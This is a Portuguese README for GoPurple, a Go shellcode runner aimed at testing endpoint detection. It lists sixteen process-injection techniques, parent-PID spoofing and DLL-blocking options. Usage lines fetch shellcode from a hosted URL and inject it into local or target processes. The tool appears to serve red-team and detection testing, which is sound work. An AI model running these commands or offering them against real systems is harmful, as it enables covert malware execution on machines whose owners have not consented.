
Mais um executor de shellcode que consiste em diferentes técnicas para avaliar capacidades de detecção de soluções de segurança de endpoint.
Este projeto é uma simples coleção de várias técnicas de injeção de shellcode, com o objetivo de simplificar o processo de avaliação de detecção de endpoint, além de me desafiar a entrar no mundo do Golang.
1 - Requer o go instalado.
2 - Compile a aplicação a partir do diretório do projeto: go build. Defina GOOS=windows se o sistema de compilação não for Windows.
_____ _
/ ____| | |
| | __ ___ _ __ _ _ _ __ _ __ | | ___
| | |_ |/ _ \| '_ \| | | | '__| '_ \| |/ _ \
| |__| | (_) | |_) | |_| | | | |_) | | __/
\_____|\___/| .__/ \__,_|_| | .__/|_|\___|
| | | |
|_| |_| by @s3cdev
-a string
Argumentos da linha de comando do programa
-b string
Modo de bloqueio de DLL (nonms/onlystore para QueueUserAPC )
-p int
ID do processo para injetar o shellcode
-prog string
Programa para injetar
-t string
Técnica de injeção de shellcode a ser usada:
1: CreateFiber
2: syscall
3: CreateThreadNative
4: CreateProcess
5: EtwpCreateEtwThread
6: CreateRemoteThread
7: RtlCreateUserThread
8: CreateThread
9: CreateRemoteThreadNative
10: CreateProcessWithPipe
11: QueueUserAPC
12: CreateThreadpoolWait
13: BananaPhone
14: EnumerateLoadedModules
15: EnumChildWindows
16: EnumPageFilesW
-u string
URL que hospeda o shellcode
Um shellcode precisa ser gerado, o que pode ser feito usando ferramentas como msfvenom ou shad0w. Em seguida, o shellcode precisa ser hospedado para ser baixado remotamente e executado na máquina remota. Para fins de clareza, as demonstrações abaixo ilustram diferentes maneiras de usar a ferramenta.
1 - Injeção de shellcode usando o método BananaPhone + Shad0w como gerador de shellcode

2 - Injeção de shellcode usando a técnica QueueUserAPC + Shad0w como gerador de shellcode + spoofing do ID pai (explorer como ID pai) + lançamento de processo por pai falsificado que contém o shellcode (calc) + proteção do processo contra hook de DLL não assinada, para que apenas DLLs assinadas pela Microsoft possam se enganchar no processo.

3- Injeção de shellcode usando CreateFiber + msfvenom como gerador de shellcode

1 - gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)
2 - gopurple.exe -u urlhostingpayload -t 2 (Syscall)
3 - gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)
4 - gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)
5 - gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)
6 - gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)
7 - gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)
8 - gopurple.exe -u urlhostingpayload -t 8 (CreateThread)
9 - gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)
10 - gopurple.exe -u urlhostingpayload -t 10 -prog porgram -a processargument (ex:C:\Windows\System32\WindowsPowerShell\v1.0) and processargument(ex:Get-Process) (CreateProcessWithPipe)
11 - gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll(nonms or onlystore) (QueueUserAPC)
nonms = only DLLs that are signed by Microsoft can hook into the process
onlystore = only Microsoft store application's process can hook into the process
12 - gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)
13 - gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)
14- gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)
15- gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)
16- gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)
Todos os créditos vão para os seguintes caras por suas pesquisas incríveis, ferramentas e inspiração:
ne0nd0g: A maior parte deste projeto foi emprestada do go-shellcode
spotheplanet: O post do blog me inspirou a converter o método para Golang
_d00mfist: Ótima implementação da técnica QueueUserAPC em Golang
c__sto: Técnica BananaPhone
batsec: O excelente shad0w
chiragsavla94: Inspirado do ProcessInjection
S4R1N: Por introduzir as novas alternativas de execução de código
Agradecimentos ao brimston3 pelo seu apoio e contribuição
Este projeto é feito apenas para fins educacionais e de teste ético. O uso do GoPurple para atacar alvos sem consentimento mútuo prévio é ilegal. É de responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por este programa.